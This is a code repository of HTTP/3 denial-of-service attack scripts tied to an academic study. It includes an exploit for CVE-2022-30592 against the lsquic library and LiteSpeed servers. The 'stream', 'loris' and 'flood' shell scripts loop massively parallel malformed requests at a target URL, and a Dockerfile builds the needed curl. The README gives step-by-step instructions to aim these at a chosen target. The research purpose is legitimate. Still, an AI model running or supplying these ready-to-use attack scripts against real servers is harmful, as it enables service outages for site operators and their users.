├── http3-stream(CVE-2022-30592) └── http3-stream.sh ├── http3-loris └── http3-loris.sh ├── http3-flood ├── http3-flood.sh └── Dockerfile └── README.md /http3-stream(CVE-2022-30592)/http3-stream.sh: -------------------------------------------------------------------------------- 1 | #MIT License 2 | #Copyright (c) 2022 Efstratios Chatzoglou 3 | #Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 4 | #The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 5 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 6 | 7 | 8 | while true 9 | do 10 | #max_table_capacity in aioquic must be of value 16 or lower. 11 | sudo seq 1 100 | timeout 5s xargs -n1 -P100 python3 examples/http3_client.py URL 12 | done 13 | -------------------------------------------------------------------------------- /http3-loris/http3-loris.sh: -------------------------------------------------------------------------------- 1 | #MIT License 2 | #Copyright (c) 2022 Efstratios Chatzoglou 3 | #Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 4 | #The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 5 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 6 | 7 | 8 | while true 9 | do 10 | echo "\e[0;31mInitiate attack\e[0m" 11 | #Generate random hex data 12 | x=$(openssl rand -hex 32) 13 | sudo seq 1 40 | timeout 5s xargs -n1 -P40 python3 examples/http3_client.py -d $x 14 | echo "\e[0;32mSleep...\e[0m" 15 | sleep 5; 16 | done 17 | -------------------------------------------------------------------------------- /http3-flood/http3-flood.sh: -------------------------------------------------------------------------------- 1 | #MIT License 2 | #Copyright (c) 2022 Efstratios Chatzoglou 3 | #Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 4 | #The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 5 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 6 | 7 | 8 | while true 9 | do 10 | seq 1 10 | xargs -n1 -P10 timeout 1s curl -X GET URL -H "method: HEAD" -H "method: POST" -H "method: GET" -H "settings: 0" --data "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" --http3 -v -o /dev/null 11 | done 12 | -------------------------------------------------------------------------------- /http3-flood/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 as base-fetch 2 | RUN apt-get update && apt-get install -y git 3 | 4 | FROM ubuntu:20.04 as base-build 5 | RUN apt-get update && DEBIAN_FRONTEND="noninteractive" apt-get install -y build-essential pkg-config tzdata 6 | 7 | FROM base-fetch as fetch-quiche 8 | WORKDIR /root 9 | RUN git clone --recursive --depth 1 https://github.com/cloudflare/quiche 10 | 11 | FROM base-build as build-quiche 12 | WORKDIR /root 13 | RUN apt-get update && DEBIAN_FRONTEND="noninteractive" apt-get install -y curl cmake tzdata \ 14 | && curl https://sh.rustup.rs -sSf | sh -s -- -y 15 | COPY --from=fetch-quiche /root/quiche /root/quiche 16 | WORKDIR /root/quiche/ 17 | RUN ~/.cargo/bin/cargo build --release --features ffi,pkg-config-meta,qlog \ 18 | && mkdir quiche/deps/boringssl/src/lib \ 19 | && ln -vnf $(find target/release -name libcrypto.a -o -name libssl.a) quiche/deps/boringssl/src/lib/ 20 | 21 | FROM base-fetch as fetch-curl 22 | WORKDIR /root 23 | COPY http-flood.sh /tmp/http-flood.sh 24 | RUN mv /tmp/http-flood.sh /root/http-flood.sh 25 | RUN touch /root/sslkeylog.log 26 | RUN git clone --depth 1 https://github.com/curl/curl 27 | 28 | FROM base-build as build-curl 29 | RUN apt-get update && DEBIAN_FRONTEND="noninteractive" apt-get install -y autoconf libtool 30 | COPY --from=fetch-curl /root/curl /root/curl 31 | WORKDIR /root/curl 32 | RUN ./buildconf 33 | COPY --from=build-quiche /root/quiche /root/quiche 34 | RUN ./configure LDFLAGS="-Wl,-rpath,$PWD/../quiche/target/release" \ 35 | --with-openssl=$PWD/../quiche/quiche/deps/boringssl/src \ 36 | --with-quiche=$PWD/../quiche/target/release \ 37 | --with-ca-path=/etc/ssl/certs 38 | RUN make -j`nproc` 39 | RUN make install 40 | 41 | FROM ubuntu:20.04 as executor 42 | RUN apt update && apt install -y --no-install-recommends ca-certificates && rm -rf /var/lib/apt/lists/* 43 | COPY --from=build-curl /etc/ld.so.conf.d/libc.conf /etc/ld.so.conf.d/libcurl.conf 44 | COPY --from=build-curl /usr/local/lib/libcurl.so.4 /usr/local/lib/libcurl.so.4 45 | COPY --from=build-curl /etc/ld.so.conf.d/libc.conf /etc/ld.so.conf.d/libquiche.conf 46 | COPY --from=build-curl /root/quiche/target/release/libquiche.so /usr/local/lib/libquiche.so 47 | COPY --from=build-curl /usr/local/bin/curl /usr/local/bin/curl 48 | RUN ldconfig 49 | CMD ["bash"] 50 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # HTTP3-attacks (CVE-2022-30592) 2 | 3 | **Based on the work: E. Chatzoglou, V. Kouliaridis, G. Kambourakis, G. Karopoulos, and S. Gritzalis, ["A hands-on gaze on HTTP/3 security through the lens of HTTP/2 and a public dataset",](https://www.sciencedirect.com/science/article/pii/S0167404822004436) Computers & Security, p. 103051, 2022.** 4 | 5 | The current repository serves the purpose of sharing the scripts we used for educational usage. These attacks were a part of our study, and were tested against 6 different QUIC-enabled servers (IIS, NGINX, LiteSpeed, Cloudflare, H2O, and Caddy) that were configured to communicate with HTTP/3. The http-stream script is the exploit of the [CVE-2022-30592](https://nvd.nist.gov/vuln/detail/CVE-2022-30592) issue that affected lsquic library. This script can also be exploited against Litespeed server. 6 | 7 | ## Installation procedure 8 | For the exploitation of these attacks, the Ubuntu 18.04 client was used, with the assist of aioquic Python library for HTTP3-loris and HTTP3-stream. For HTTP3-flooding attack, the curl tool was used, with support of HTTP/3. The following instructions occur the aioquic installation, for the HTTP3-loris and HTTP3-stream assaults. 9 | 10 | 1. git clone https://github.com/aiortc/aioquic 11 | 2. sudo apt install libssl-dev 12 | 3. cd aioquic 13 | 4. If executing the HTTP3-stream attack, alter the MAX_TABLE_CAPACITY in aioquic library value to 16 or lower. 14 | 5. pip install -e . 15 | 6. pip install asgiref dnslib httpbin starlette wsproto 16 | 7. python3 setup.py install 17 | 8. Add the http3-loris.sh file to the aioquic dir 18 | 9. Initite the attack 19 | 20 | Change the URL parameter to the one of the target. Note that based on the capabilities of the targeted server, different values maybe needed for each parameter on the exploits. 21 | 22 | The following instructions occur the curl installation, for the HTTP3-flooding assault. 23 | 24 | 1. Add Dockerfile to a dir. The Dockerfile is inside the http-flood dir of the repository. 25 | 2. Add exploit to the same dir, in our case the http3-flood.sh file 26 | 3. Change the URL parameter in the exploit to the one of the target 27 | 4. docker build -t curl-http3 . 28 | 5. docker run -t -d --network host curl-http3 29 | 6. docker ps 30 | 7. docker cp /hostfile (container_id):/(to_the_place_you_want_the_file_to_be) 31 | 8. docker exec -it container-id-curl-http3 bash 32 | 33 | After the bash connection to the docker, execute ./http3-flood.sh. 34 | 35 | ==================================================== 36 | 37 | MIT License 38 | 39 | Copyright (c) 2022 Efstratios Chatzoglou 40 | 41 | Permission is hereby granted, free of charge, to any person obtaining a copy 42 | of this software and associated documentation files (the "Software"), to deal 43 | in the Software without restriction, including without limitation the rights 44 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 45 | copies of the Software, and to permit persons to whom the Software is 46 | furnished to do so, subject to the following conditions: 47 | 48 | The above copyright notice and this permission notice shall be included in all 49 | copies or substantial portions of the Software. 50 | 51 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 52 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 53 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 54 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 55 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 56 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 57 | SOFTWARE. 58 | --------------------------------------------------------------------------------